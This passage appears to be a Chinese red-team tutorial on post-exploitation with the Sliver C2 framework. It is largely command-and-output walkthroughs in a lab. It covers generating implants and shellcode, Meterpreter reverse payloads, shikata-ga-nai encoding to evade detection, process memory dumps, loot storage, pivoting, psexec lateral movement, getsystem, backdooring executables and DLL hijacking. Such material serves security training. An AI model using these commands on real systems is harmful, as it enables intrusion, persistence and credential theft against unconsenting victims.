红队C2工具Sliver(五)| Sliver 后渗透操作

admin 2023年6月19日13:58:47评论523 views字数 22287阅读74分17秒阅读模式

点击蓝字 关注我们

红队C2工具Sliver(五)| Sliver 后渗透操作

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

添加星标不迷路

由于公众号推送规则改变,微信头条公众号信息会被折叠,为了避免错过公众号推送,请大家动动手指设置“星标”,设置之后就可以和从前一样收到推送啦

红队C2工具Sliver(五)| Sliver 后渗透操作


一、基础命令

1.1、更改上线会话备注

sliver > sessions -i 729c7b2b
进入session后修改备注
sliver (ALONE_MULE) > rename -n testLinux

红队C2工具Sliver(五)| Sliver 后渗透操作

红队C2工具Sliver(五)| Sliver 后渗透操作

1.2、会话操作

详细命令可输入 help 进行查看。

Sliver 植入物支持多个命令,功能包括文件系统浏览、文件上传和下载、端口转发、截图等

注意事项

Sliver 的Windows系统后渗透命令比Linux系统多,多出的内容很明显,在help菜单里面被标记为 Sliver-Windows:

Sliver - Windows:
=================
backdoor Infect a remote file with a sliver shellcode
dllhijack Plant a DLL for a hijack scenario
execute-assembly Loads and executes a .NET assembly in a child process (Windows Only)
getprivs Get current privileges (Windows only)
getsystem Spawns a new sliver session as the NT AUTHORITYSYSTEM user (Windows Only)
impersonate Impersonate a logged in user.
make-token Create a new Logon Session with the specified credentials
migrate Migrate into a remote process
psexec Start a sliver service on a remote target
registry Windows registry operations
rev2self Revert to self: lose stolen Windows token
runas Run a new process in the context of the designated user (Windows Only)
spawndll Load and execute a Reflective DLL in a remote process

background

运行 background 将会把会话放到后台,也就是退出会话操作界面

sliver (linux) > background

[*] Background ...

sliver >

杀死会话

使用 Session -k id 即可终止会话

sliver > sessions -k da78471a

Lost session da78471a linux - 192.168.0.253:43650 (kali) - linux/amd64

杀死所有会话

Session -K

cat

连接文件并打印到标准输出设备上,也就是读取文件内容

sliver (win) > cat shell.txt

红队C2工具Sliver(五)| Sliver 后渗透操作

cd

更改目录

cd Sec
cd ./Sec
cd ../

mv

移动或重命名一个文件

sliver (SHAKY_KLEENEX) > mv test.txt test1.txt
[*] test.txt > test1.txt

ping

使用植入物名称或存活会话名称进行一次ping会话行为,不会发送ICMP数据包,只是发送一个小的C2消息返回,以确保远程植入物仍会对命令做出响应。

没玩明白,说是直接指定Session,但死活没反应。

ping <implant name/session>

close

关闭交互式会话但不终止远程进程,当交互式会话打开时,信标仍然将登录

sliver (win) > close
[!] Lost session 736fb72c win - 192.168.0.252:50058 (DESKTOP-7KDM2M6) - windows/amd64

会暂时丢失session,但之后会再次上线,因为没有终止远程进程。同CS的Exit一样

upload

上传文件,需要两个参数,第一个参数的值必须是文件的绝对本地路径,第二个参数是远程目标,如果不设置第二个值,那么就会上传到信标所在的文件夹

sliver (ALONE_MULE) > upload "C:testSlivertest.exe"

[*] Wrote file to /root/test.exe

sliver (ALONE_MULE) > upload "D:Sec3内网工具Slivertest.exe" /root/test1.exe

[*] Wrote file to /root/test1.exe

download

download也需要两个参数,第一个是下载的远程地址(可以使用相对路径,默认是植入物目录),第二个是保存下载文件的本地路径

sliver (ALONE_MULE) > download ./shell.sh "./"

[*] Wrote 14020608 bytes (1 file successfully, 0 files unsuccessfully) to C:testSlivershell.sh

gid、pid、uid

getgid	获取该Session的gid
getpid 获取该Session的pid
getuid 获取该Session的uid即用户,一般uid用的多
sliver (POWERFUL_SEGMENT) > getgid

S-1-5-21-886059080-2310320355-610692855-513

sliver (POWERFUL_SEGMENT) > getuid

S-1-5-21-886059080-2310320355-610692855-1000

sliver (POWERFUL_SEGMENT) > getpid

11916

mkdir

新建一个文件夹,直接在植入物所在的目录下生成,有点明显

sliver (POWERFUL_SEGMENT) > mkdir test

[*] C:UsersadminDesktoptest

1.3、信标操作

输入help可查看Beacon操作菜单,基本和Session模式一样。

info

查看Beacon信息

sliver (FASHIONABLE_PRONUNCIATION) > info

Beacon ID: 006f6427-81d0-4b07-96d0-03e1e7c1bd06
Name: FASHIONABLE_PRONUNCIATION
Hostname: LAPTOP-admin
UUID: bb37e106-3323-42a1-84d7-ac14f9cfb9f7
Username: LAPTOP-adminadmin
UID: S-1-5-21-137539292-3069588720-2311320663-1001
GID: S-1-5-21-137539292-3069588720-2311320663-1001
PID: 15300
OS: windows
Version: 10 build 22000 x86_64
Locale: zh-CN
Arch: amd64
Active C2: mtls://192.168.0.253:8888
Remote Address: 192.168.0.122:3312
Proxy URL:
Interval: 5s
Jitter: 3s
First Contact: Thu Apr 13 11:35:31 CST 2023 (6m28s ago)
Last Checkin: Thu Apr 13 11:39:47 CST 2023 (2m12s ago)
Next Checkin: Thu Apr 13 11:39:53 CST 2023 (2m6s ago)

screenshot

使用execute notepad打开记事本,使用screenshot来截图

红队C2工具Sliver(五)| Sliver 后渗透操作

可以发现和Session模式不太一样,它会切换为task任务再去执行,需要等到下一次连接周期才会执行命令。

tasks

输入tasks查看任务状态,可以看到已经completed执行结束了。

sliver (FASHIONABLE_PRONUNCIATION) > tasks

ID State Message Type Created Sent Completed

========== =========== ============== =============================== =============================== ===============================
c43893fb completed Execute Thu, 13 Apr 2023 11:44:21 CST

prune

修剪自动修剪过时的信标,长时间无法连接的Beacon自动清除

sliver > beacons prune

[*] Pruning beacons that missed their last checking by 1h0m0s or more...

⚠️ The following beacons and their tasks will be removed:
1. WEARY_KIND (bed13251-1d0b-4769-ae0d-0fe2031a3fd7)
2. WEARY_KIND (0cbd2c0a-d417-4582-ac6e-67ddb6ec39ce)
3. WEARY_KIND (bd2d7472-f18e-4607-8472-77bc5461bb6b)
4. WEARY_KIND (eeab68f3-bb1e-4b11-a63c-c33c120d5392)
5. WEARY_KIND (3dbffe91-09a7-44d0-92f2-dd29e0af1be7)
6. WEARY_KIND (87db8978-37e2-4ad8-b40a-1d582b31a676)
7. WEARY_KIND (14eb44ce-f21e-43bf-ad5b-b1bc83b9d100)
8. WEARY_KIND (15fcd9d0-4336-43b3-bb04-e774fddd8429)
9. WEARY_KIND (dc723753-ff90-422f-a762-c1a5e0b6292e)
10. WEARY_KIND (41d36896-9e52-48e9-ac22-1ff52769deaa)
11. CONTROLLED_INVESTMENT (0470430e-9ed8-4703-9850-2b9dc9a20660)
? Prune these beacons? Yes
[*] Pruned 11 beacon(s)

1.4、代理与隧道

socks5

sliver (win) > help socks5

In-band SOCKS5 Proxy

Usage:
======
socks5 [flags]

Flags:
======
-h, --help display help
-t, --timeout int router timeout in seconds (default: 60)

Sub Commands:
=============
start Start an in-band SOCKS5 proxy
stop Stop a SOCKS5 proxy

sliver (win) > socks5 start -
-h --help -H --host -P --port -u --user

可看到socks5是通过socks参数 + start/stop + 具体参数来进行设置的,默认端口1081,默认IP为127.0.0.1

  -h, --help           display help
-H, --host string Bind a Socks5 Host (default: 127.0.0.1)
-P, --port string Bind a Socks5 Port (default: 1081)
-u, --user string socks5 auth username (will generate random password)

socks5隧道,一般socks5端口为1080

# 在进入session后使用,仅session模式可用
socks5 start

socks5 start -P 端口 -u 用户 #注意!-P是大写

红队C2工具Sliver(五)| Sliver 后渗透操作

查看socks代理

socks

注意:不同于CS将代理开在服务端,Sliver这个代理是开在本地客户端的!

红队C2工具Sliver(五)| Sliver 后渗透操作

关闭socks5代理

socks5 stop -i ID

portfwd

端口转发命令。正向连接TCP端口转发。默认情况下,所有的转发都会绑定到127.0.0.1,但也可以使用--bind关键字自行修改。

从V1.5.27开始, Sliver 还支持反向端口转发,关键字是rportfwd

使用Sliver的带内隧道在本地计算机和植入网络之间传输数据(即,如果您使用的是HTTP C2,则所有端口转发的流量都通过HTTP进行隧道传输,mTLS/DNS/等也是如此。)

  add  新增一个新的端口转发隧道
rm 删除端口转发隧道
例如:
sliver (POWERFUL_SEGMENT) > portfwd add --remote 192.168.0.252:3389

⚠️ RDP is generally broken over tunneled portfwds, we recommend using WireGuard portfwds
[*] Port forwarding 127.0.0.1:8080 -> 192.168.0.252:3389

sliver (POWERFUL_SEGMENT) > portfwd

ID Session ID Bind Address Remote Address
==== ====================================== ================ ====================
1 238c1964-48be-4086-927e-bc4f60712c4f 127.0.0.1:8080 192.168.0.253:80
2 238c1964-48be-4086-927e-bc4f60712c4f 127.0.0.1:8080 192.168.0.252:3389

使用 --bind 指定端口

sliver (POWERFUL_SEGMENT) > portfwd add --bind 127.0.0.1:3388 --remote 192.168.0.252:3389

⚠️ RDP is generally broken over tunneled portfwds, we recommend using WireGuard portfwds
[*] Port forwarding 127.0.0.1:3388 -> 192.168.0.252:3389

wg-portfwd

此命令使用WireGuard端口转发,仅在使用WireGuard C2时可用。

一、生成一个wg C2

sliver > generate --wg 192.168.0.253 --save ./wg.exe --os windows

[*] Generated unique ip for wg peer tun interface: 100.64.0.2
[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled

二、设置wg监听

sliver (POWERFUL_SEGMENT) > wg

sliver > sessions

ID Name Transport Remote Address Hostname Username Operating System Locale Last Message Health
========== ================== =========== ===================== ================= ========== ================== ======== ========================================== =========
038bc924 SHAKY_KLEENEX wg 100.64.0.3:47446 DESKTOP-7KDM2M6 admin windows/amd64 zh-CN Mon Apr 17 15:25:43 CST 2023 (3s ago) [ALIVE]

三、上线后use id进入wg Session

查看wg配置信息,需要设置的就一个Endpoint,确保将它指向 Sliver

sliver (SHAKY_KLEENEX) > wg-config

[*] New client config:[Interface]
Address = 100.64.0.4/16
ListenPort = 51902
PrivateKey = oI73zgL8NTivyHEAE+MIJNUpOlEyRuuQ+bqvUT8HLFA=
MTU = 1420

[Peer]
PublicKey = BXPlZQaGAPlA4tlHau4ZAHeDyeNVYa8Dl4/LuJKJNXA=
AllowedIPs = 100.64.0.0/16
Endpoint = <configure yourself>

四、设置wg端口转发,随后使用 wireguard 连接100.64.0.3:1080即可连接目标的3389(需要安装 wireguard 输入公钥和私钥)

sliver (SHAKY_KLEENEX) > wg-portfwd add --remote 192.168.0.252:3389

[*] Port forwarding 100.64.0.3:1080 -> 192.168.0.252:3389

sliver (SHAKY_KLEENEX) > wg-portfwd

ID Name Protocol Port
==== ================= ==================== ======
0 100.64.0.3:1080 192.168.0.252:3389

wireguard 官网

https://www.wireguard.com/install/

红队C2工具Sliver(五)| Sliver 后渗透操作

一般说来 ,相对于portfwd ,wg-portfwd 更快、更可靠,官方建议尽可能使用它。

rportfwd

反向端口转发

pivots

注意:pivots 目前只能在Session会话模式下使用,官方后续可能会添加Beacon支持

将一个受害主机转变为其他攻击和工具的跳板,类似于 Cobalt Strike 的 pivoting。

红队C2工具Sliver(五)| Sliver 后渗透操作

 Sliver 中的pivot专门用于pivot C2流量,不要与端口转发portfwd混淆,其用于将通用TCP连接隧道穿透到目标环境中。它允许你创建植入物连接的"chains"隧道,例如,你试图将pivot部署到一个高度受限制的子网中,该子网无法将流量直接路由到互联网,则可以创建一个植入物,通过限制较少的子网的另一个植入物导出所有流量。

pivot A 可以通过pivot B连接到第三个出口植入物。

在 Sliver 中,您可以使用现有的Session会话创建一个"pivot listener",然后生成可以连接回该监听器的新的pivot,就像使用其他C2协议或端点一样。

在受害主机本地设置一个本地代理。

  details     获取跳板机监听器的详细信息
graph 获取跳板机监听器的详细信息
named-pipe 启动命名管道枢轴监听器
stop 停止一个透明监听器
tcp 启动TCP透明监听器

TCP Pivots

TCP pivots是在纯Go语言中实现的,并且在所有平台上都受支持。

sliver (POWERFUL_SEGMENT) > pivots tcp

[*] Started tcp pivot listener :9898 with id 1

sliver (POWERFUL_SEGMENT) > pivots

ID Protocol Bind Address Number Of Pivots
==== ========== ============== ==================
1 TCP :9898 0

现在,我们可以使用如下命令生成一个连接到pivot监听器的植入物,其中xx.xx.xx.xx是我们启动的监听器IP(不是服务端IP,是目标的IP)

然后将该pivot植入物植入到域内其他目标主机中,上线即可,也就是把之前的主机当跳板了

sliver (POWERFUL_SEGMENT) > generate --tcp-pivot 192.168.0.252:9898 --save pivot.exe

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 26s

[*] Session 79661ddb POLITICAL_TRAINER - 100.64.0.3:32764->SHAKY_KLEENEX-> (LAPTOP-KL0AICEC) - windows/amd64 - Tue, 18 Apr 2023 19:20:07 CST

sliver (POWERFUL_SEGMENT) > sessions

ID Name Transport Remote Address Hostname Username Operating System Locale Last Message Health
========== =================== =========== ========================================= ================= ========== ================== ======== ======================================== =========
44f8c322 FILTHY_ELIXIR mtls 192.168.0.253:34268 kali root linux/amd64 zh-CN Tue Apr 18 19:19:56 CST 2023 (15s ago) [ALIVE]
79661ddb POLITICAL_TRAINER pivot 100.64.0.3:32764->SHAKY_KLEENEX-> LAPTOP-KL0AICEC wood windows/amd64 zh-CN Tue Apr 18 19:20:07 CST 2023 (4s ago) [ALIVE]

SMB Pivot

选择一个会话以启动SMB监听器,然后使用--bind参数指定隧道名称,隧道可以在本地计算机上自动启动,因此只需要指定名称,远程客户端始终允许连接到隧道,但默认ACL将仅允许当前用户/组,可以使用--allow-all参数标记。

sliver (POWERFUL_SEGMENT) > pivots named-pipe --bind smb

[*] Started named pipe pivot listener \.pipesmb with id 2

接下来,我们生成对应的植入物,注意这里我们需要指定监听器的IP地址:192.168.0.252,也是开启了pivot监听器的IP(目标机IP)

PS:这个也是类似于 Cobalt Strike 里面的SMB监听。

sliver (POWERFUL_SEGMENT) > generate --named-pipe 192.168.0.252/pipe/smb

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 29s
[*] Implant saved to D:Sec3内网工具SliverBRAVE_KAYAK.exe

[*] Session 0abed351 BRAVE_KAYAK - 192.168.0.252:52454->POWERFUL_SEGMENT-> (DESKTOP-7KDM2M6) - windows/amd64 - Tue, 18 Apr 2023 19:13:50 CST

sliver (POWERFUL_SEGMENT) > sessions

ID Name Transport Remote Address Hostname Username Operating System Locale Last Message Health
========== ================== =========== ========================================= ================= ========== ================== ======== ======================================== =========
0abed351 BRAVE_KAYAK pivot 192.168.0.252:52454->POWERFUL_SEGMENT-> DESKTOP-7KDM2M6 admin windows/amd64 zh-CN Tue Apr 18 19:13:50 CST 2023 (10s ago) [ALIVE]
44f8c322 FILTHY_ELIXIR mtls 192.168.0.253:34268 kali root linux/amd64 zh-CN Tue Apr 18 19:13:56 CST 2023 (4s ago) [ALIVE]
b61d0cfc SHAKY_KLEENEX wg 100.64.0.3:32764 DESKTOP-7KDM2M6 admin windows/amd64 zh-CN Tue Apr 18 19:13:38 CST 2023 (22s ago) [ALIVE]
10056db6 POWERFUL_SEGMENT mtls 192.168.0.252:52454 DESKTOP-7KDM2M6 admin windows/amd64
zh-CN Tue Apr 18 19:13:50 CST 2023 (10s ago) [ALIVE]

SSH

连接ssh服务,可以在后面接命令,类似命令执行

sliver (win) > ssh -l 账户 -P 密码 xx.xx.xx.xx whoami

sliver (FILTHY_ELIXIR) > ssh -l root -p root 192.168.0.253 whoami
error: invalid uint value for flag: -p
sliver (FILTHY_ELIXIR) > ssh -l root -P root 192.168.0.253 whoami

[*] Output:
root

具体参数如下

-c	kerberos配置字符串路径(默认值:/etc/krb5.conf)
-k kerberos密钥表字符串路径
-r kerberos领域"realm"
-p ssh端口默认22
-i 私钥路径
-s 跳过使用战利品凭据的提示

1.5、执行命令

shell 交互式会话

直接输入 shell 会被提示 "? This action is bad OPSEC, are you an adult?",OPSEC是一个新的红队的攻击规范,不符合攻击规范是因为这样做会被记录到对方的历史记录中(因为它生成的是一个交互式 shell )

如果选择 yes 则会进入类似于MSF的shell界面,输入【exit】退出shell界面。

经过控制变量实验,结果如下:

Windows客户端控制Linux受害主机,不行

红队C2工具Sliver(五)| Sliver 后渗透操作

Windows客户端控制Windows受害主机,彳亍

红队C2工具Sliver(五)| Sliver 后渗透操作

Linux端操作Linux,彳亍

红队C2工具Sliver(五)| Sliver 后渗透操作

Linux端操作Windows,彳亍

红队C2工具Sliver(五)| Sliver 后渗透操作

execute文件会话

shell 执行命令不保险,我们尝试其他方法,使用 execute 不会在目标主机上形成日志,原因如下

execute 这种方式本质是执行shell文件夹下的一个文件间接去执行命令,不是直接的命令执行,这也就是为什么这样去执行许多命令都会提示 no such file or directory 或者 file does not exist
即:在环境变量中的命令可以使用这种方式去执行,不在其中的不可以这样执行

execute [flags] command [arguments...]

-h, --help display help
-S, --ignore-stderr don't print STDERR output
-X, --loot save output as loot
-n, --name string name to assign loot (optional)
-o, --output capture command output
-P, --ppid uint parent process id (optional, Windows only) (default: 0)
-s, --save save output to a file
-E, --stderr string remote path to redirect STDERR to
-O, --stdout string remote path to redirect STDOUT to
-t, --timeout int command timeout in seconds (default: 60)
-T, --token execute command with current token (windows only)

演示如下

sliver (myprecious) > execute -o whoami

sliver (myprecious) > execute -o systeminfo

Windows 操作 Linux 命令

红队C2工具Sliver(五)| Sliver 后渗透操作

Windows操作Windows,同样有命令无法执行

红队C2工具Sliver(五)| Sliver 后渗透操作

那么,上面无法命令执行如何解决?我们可以指定 shell 文件所在的位置,去调用指定的 shell 程序执行命令,所以我们需要知道Windows和Linux的 shell 程序位置,Windows上是cmd和powershell,Linux上是bash

sliver (LIVING_PANTY) > execute -o c:\windows\system32\cmd.exe /c dir
sliver (LIVING_PANTY) > execute -o c:\windows\system32\windowspowershell\v1.0\powershell.exe /c dir

PS:目标机器上会弹出一瞬间的cmd和powershell窗口

红队C2工具Sliver(五)| Sliver 后渗透操作

execute-shellcode

在植入过程中执行给定的shellcode文件。

生成shellcode文件

shellcode文件应该是二进制编码的,可以使用generate生成 Sliver 的shellcode文件,通过format参数指定为shellcode即可,生成后上传上去才可执行shellcode文件

generate --format shellcode
如:
sliver > generate --mtls 192.168.0.253 --format shellcode --save ./ --os windows

生成的文件类型是bin,默认名称为INTEGRAL_SNOWBOARDING.bin

执行shellcode文件

execute-shellcode [flags] filepath
其中flags的参数如下:
-A、 --shell的体系结构字符串体系结构代码:386,amd64(与--shikata-ga-nai标志一起使用)(默认值:amd64)
-h、 --帮助显示帮助
-i、 --交互式注入新流程并与之交互
-I、 --iterations int编码迭代次数(与--shikata-ga-nai标志一起使用)(默认值:1)
-p、 --要注入到的进程的pid uint pid(0表示注入到我们自己)(默认值:0)
-n、 --进程字符串在交互模式下运行时要注入的进程(默认值:c:windowssystem32notepad.exe)
-r、 --rwx页面对内存页面使用rwx权限
-S、 --shikata ga nai在执行之前使用shikata ga-nai对外壳代码进行编码
-t、 --timeout int命令超时,以秒为单位(默认值:60)
例子:
sliver (POWERFUL_SEGMENT) > execute-shellcode -i "C:testSlivershellcode.bin"

[*] Started remote shell with pid 21144

whoami

sliver (POWERFUL_SEGMENT) >

1.6、网络命令

ifconfig

显示session的网卡、IP信息(Windows session也是ifconfig)

server] sliver (win) > ifconfig 

+------------------------------------------+
| Ethernet0 |
+------------------------------------------+
| # | IP Addresses | MAC Address |
+---+------------------+-------------------+
| 3 | 192.168.0.252/24 | 00:0c:29:f8:51:8f |
+------------------------------------------+

netstat

显示TCP、UDP以及IP的连接列表还有端口以及其状态。其中监听(LISTEN),正在连接(ESTABLISHED)最重要。

sliver (win) > netstat 

Protocol Local Address Foreign Address State PID/Program Name
========== ===================== ==================== ============= ==================
tcp 192.168.0.252:50016 20.197.71.89:443 ESTABLISHED 1248/svchost.exe
tcp 192.168.0.252:50058 192.168.0.253:8888 ESTABLISHED 2888/shell.exe

可以通过--listen指定正在监听的连接

sliver (SHAKY_KLEENEX) > netstat --listen

Protocol Local Address Foreign Address State PID/Program Name
========== ==================== ================= ======== ===================
tcp 0.0.0.0:135 0.0.0.0:0 LISTEN 1004/svchost.exe
tcp 0.0.0.0:49664 0.0.0.0:0 LISTEN 600/wininit.exe
tcp 0.0.0.0:49667 0.0.0.0:0 LISTEN 2144/spoolsv.exe
tcp 0.0.0.0:49671 0.0.0.0:0 LISTEN 744/services.exe
tcp 0.0.0.0:49683 0.0.0.0:0 LISTEN 752/lsass.exe
tcp 192.168.0.252:139 0.0.0.0:0 LISTEN 4/System
tcp 192.168.0.252:9898 0.0.0.0:0 LISTEN 5240/wg.exe

1.7、凭证的存储

loot 直译为战利品,该命令是被掠夺的文件和凭据的服务器端存储,这是在服务端实现的,所以战利品中存储的所有文件和凭证在多人模式下可供所有人查看。

添加战利品

远程添加,指定的路径是目标主机上的路径

loot remote
需要指定文件路径
sliver (SHAKY_KLEENEX) > loot remote ./test1.txt

[*] Successfully looted test1.txt (ID: 613b11a3-8daf-43ca-b2b7-a1cf0ae89ec7)

本地添加,指定的路径是客户端主机上的

sliver (SHAKY_KLEENEX) > loot local ./test2.txt

[*] Successfully added loot to server (a31d4837-a362-4712-82ed-ca7425898d71)

命令添加

有几个命令如sideloadexecute-assemblyprocdump带有--loot标签,可以将命令的输出保存到 loot 存储。

选择战利品

sliver (SHAKY_KLEENEX) > loot fetch

? Select a piece of loot: test1.txt LOOT_FILE 67d2a569-5f0b-4814-b777-8d890892b1b2

File Name: test1.txt

213231321321

删除战利品

sliver (SHAKY_KLEENEX) > loot rm

? Select a piece of loot: test1.txt LOOT_FILE 613b11a3-8daf-43ca-b2b7-a1cf0ae89ec7

[*] Removed loot from server

procdump

转储进程内存,和微软的知名软件同名且功能类似。

procdump [flags]

Flags:
======
-h, --help display help
-X, --loot save output as loot
-N, --loot-name string name to assign when adding the memory dump to the loot store (optional)
-n, --name string target process name
-p, --pid int target pid (default: -1)
-s, --save string save to file (will overwrite if exists)
-t, --timeout int command timeout in seconds (default: 60)

存储指定进程信息

sliver (POWERFUL_SEGMENT) > procdump -p 14580

[*] Process dump stored in: C:UsersadminAppDataLocalTempprocdump_DESKTOP-7KDM2M6_14580_487935510

存储指定进程信息到战利品loot

sliver (POWERFUL_SEGMENT) > procdump -p 5500 -X

[*] Successfully looted procdump_DESKTOP-7KDM2M6_5500_20230418114241.dmp (ID: 66471aa8-c234-475e-b05a-e71949bbd0e0)

1.8、外部MSF与shellcode加密

msf

在当前进程中执行MSF payload

sliver (POWERFUL_SEGMENT) > msf -L 192.168.0.253 -l 1234 -m meterpreter_reverse_https

⠏ Sending msf payload meterpreter_reverse_https windows/amd64 -> 192.168.0.253:1234 ...

msf-inject

将MSF payload注入到进程中

  msf-inject [flags]

Flags:
======
-e, --encoder string msf encoder
-h, --help display help
-i, --iterations int iterations of the encoder (default: 1)
-L, --lhost string listen host
-l, --lport int listen port (default: 4444)
-m, --payload string msf payload (default: meterpreter_reverse_https)
-p, --pid int pid to inject into (default: -1)
-t, --timeout int command timeout in seconds (default: 60)

shikata-ga-nai

多态编译,shellcode 二次编码器

shikata ga nai 编码器被认为是最好的shellcode编码器,MSF里也有它,不知道为啥起了个东洋名字;

这种多态编码技术使得每次生成的攻击载荷文件是不一样的,编码和解码也都是不一样。还可以利用管道进行多重编码进行免杀。

shikata-ga-nai [flags] shellcode
shellcode字符串 shellcode代码文件路径
-a, --arch string 位数架构 (default: amd64)
-b, --bad-chars string 要避免的十六进制hex编码的错误字符 (e.g. 0001)
-h, --help 帮助信息
-i, --iterations int 迭代次数 (default: 1)
-s, --save string 将输出保存到本地文件
-t, --timeout int 超时时间,单位秒 (default: 60)

示例,将本地目录下的shellcode.bin文件进行编译,生成了一个新 shellcode 文件

sliver (SHAKY_KLEENEX) > shikata-ga-nai ./shellcode.bin

[*] Encoding shellcode with 1 iterations and 0 bad chars
[*] Shellcode written to shellcode.bin.sgn (15730559 bytes)

1.9、进程相关

查看进程

输入ps查看进程

注意,Sliver会列出绿色的当前木马进程,以及红色的杀软进程

红队C2工具Sliver(五)| Sliver 后渗透操作

terminate

远程终止系统上的进程,只要提供PID,植入物就会尝试使其消失。

这里使用notepad.exe进程测试

sliver (POWERFUL_SEGMENT) > terminate 17616

[*] Process 17616 has been terminated

二、仅Windows有的命令

Sliver - Windows:
=================
backdoor Infect a remote file with a sliver shellcode
dllhijack Plant a DLL for a hijack scenario
execute-assembly Loads and executes a .NET assembly in a child process (Windows Only)
getprivs Get current privileges (Windows only)
getsystem Spawns a new sliver session as the NT AUTHORITYSYSTEM user (Windows Only)
impersonate Impersonate a logged in user.
make-token Create a new Logon Session with the specified credentials
migrate Migrate into a remote process
psexec Start a sliver service on a remote target
registry Windows registry operations
rev2self Revert to self: lose stolen Windows token
runas Run a new process in the context of the designated user (Windows Only)
spawndll Load and execute a Reflective DLL in a remote process

查看权限(仅Win)

查看当前的权限(当前能做什么),可用来植入进程,显示植入物进程的完整性级别和权限,基于GetTokenInformation Windows API(命令处理程序)实现。

sliver (POWERFUL_SEGMENT) > getprivs

红队C2工具Sliver(五)| Sliver 后渗透操作

backdoor

劫持受害主机上的exe以持久化,需要使用shellcode类型的payload模板(即profiles)

生成一个shellcode类型profiles:
sliver > profiles new --mtls 192.168.0.253 --os windows --arch amd64 --format shellcode shellcode

[*] Saved new implant profile shellcode

使用上面生成的模板植入后门(有可能请求会被拒绝)
sliver (POWERFUL_SEGMENT) > backdoor -p shellcode "C:windowssystem32calc.exe"

⠸ Backdooring C:windowssystem32calc.exe ...

getsystem

提权操作,尝试注入到另一个进程中,默认是spoolsv.exe,通过滥用SeDebugPrivilege来获取该进程的NT AUTHORITYSYSTEM权限,和meterpreter几乎一样。

getsystem [flags]

Flags:
======
-h, --help display help
-p, --process string SYSTEM process to inject into (default: spoolsv.exe)
-t, --timeout int command timeout in seconds (default: 60)

psexec

在远程目标上启动一个新的 Sliver 服务。

这个命令从配置文件中上传一个 Sliver 二进制文件,配置文件必须是 service 格式(-- format service),这样服务管理器才能正确地启动和停止二进制文件

使用profiles new创建配置文件,a.bc.de是

profiles new --format service --skip-symbols --mtls a.bc.de win-svc64

创建配置文件后,运行psexec命令

psexec -d Description -s ServiceName -p win-svc64 TARGET_FQDN

psexec命令将使用与当前 Sliver 会话关联的Windows用户的凭据

创建类型为服务的配置文件

sliver (POWERFUL_SEGMENT) > profiles new --format service --skip-symbols --mtls 192.168.0.253 win-svc64

[*] Saved new implant profile win-svc64

运行psexec

sliver (POWERFUL_SEGMENT) > psexec -d Description -s ServiceName -p win-svc64 192.168.0.252

[*] No builds found for profile win-svc64, generating a new one
[*] Uploaded service binary to \192.168.0.252C$windowstemp__if0.exe
[*] Waiting a bit for the file to be analyzed ...

Registry

Sliver 可以与 Windows 注册表见交互,使用 Registry 命令。

Windows注册表是系统设置的数据库,由键和值组成,类似于键树,其中的每个键都可以有其他子键或者与之关联的值,一个键有一个名字,一个值有一个名字和数据。

数据是强类型的并且有效类型包括REG_DWORD(32位数字)或REG_SZ(字符串),在最高级别有七个根键,称为注册表配置单元,例如 HKEY_LOCAL_MACHINE,缩写为HKLM

Sliver 提供了读取、列出和写入键和值的基本命令

读取注册表

使用registry read命令从HKLM中获取Windows系统的产品名称的值productName

sliver (POWERFUL_SEGMENT) > registry read -H HKLM "softwaremicrosoftwindows ntcurrentversionProductName"

Windows 10 Enterprise LTSC 2019

列出配置单元HKLM该路径上的所有可用值

sliver (POWERFUL_SEGMENT) > registry list-values -H HKLM "softwaremicrosoftwindows ntcurrentversion"

[*] Values under HKLM:softwaremicrosoftwindows ntcurrentversion:
SystemRoot
BuildBranch
BuildGUID
BuildLab
BuildLabEx
CompositionEditionID
CurrentBuild
CurrentBuildNumber
CurrentMajorVersionNumber
CurrentMinorVersionNumber
CurrentType
CurrentVersion
EditionID
。。。

还有其他几个命令,允许浏览注册表树以及创建新密钥并写入值:

下面是所有命令的简短描述,它们都接受一个参数--hive,它可以是HKCU(默认值)、HKLM或任何其他值。它们还接受--hostname,即你可以访问远程主机的注册表。

registry read:读取一个值(命令处理程序)。
registry write:写入一个值(命令处理程序)。
registry create:创建一个新的子项(命令处理程序)。
registry delete:删除一个键(命令处理程序)。
registry list-subkeys:列出给定键的所有子健(命令处理程序)。
registry list-values:列出给定键的所有值(命令处理程序)。

dllhijack

为劫持场景准备并在远程系统上植入DLL。

植入的DLL将修改其导出目录,以在远程主机上将导出转发到引用的DLL

用于劫持的DLL可以是操作员系统上的文件,也可以是 Sliver 配置文件够构建的DLL, Sliver 提供了--profile参数

1、使用本地DLL进行劫持:

dllhijack --reference-path c:\windows\system32\msasn1.dll --file /tmp/blah.dll c:\users\bob\appdata\slack\app-4.18.0\msasn1.dll

2、使用 Sliver 生成的DLL进行劫持(必须指定-R或--run-at-load)

profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll --run-at-load dllhijack --reference-path c:\windows\system32\msasn1.dll --profile dll c:\users\bob\appdata\slack\app-4.18.0\msasn1.dll

3、使用本地DLL作为引用DLL

dllhijack --reference-path c:\windows\system32\msasn1.dll --reference-file /tmp/msasn1.dll.orig --profile dll c:\users\bob\appdata\slack\app-4.18.0\msasn1.dll

migrate

进程注入,和 Cobalt Strike 、MSF一样

migrate [flags] pid

sliver (POWERFUL_SEGMENT) > migrate 5500

[*] Successfully migrated to 5500

[*] Session c6d4acdd POWERFUL_SEGMENT - 192.168.0.252:57953 (DESKTOP-7KDM2M6) - windows/amd64

impersonate

模拟用户登录,冒充用户登录。

窃取登录用户的令牌,运行新进程的 Sliver 命令(如shell或execute命令)将会冒用该用户进行登录。

impersonate username

make-token

和 Cobalt Strike 里面的make_token一毛一样,创建一个令牌。Cobalt Strike 里面是这样

make_token domainadministrator passwd@123

Sliver 里面是这样:

make-token -u username -d domian -p password

使用指定的凭据创建新的登录会话,并模拟生成的令牌,可以使用 --logon-type参数指定客户登录类型,该参数默认值为LOGON32_LOGON_NEW_CREDENTIALS

有效类型为:

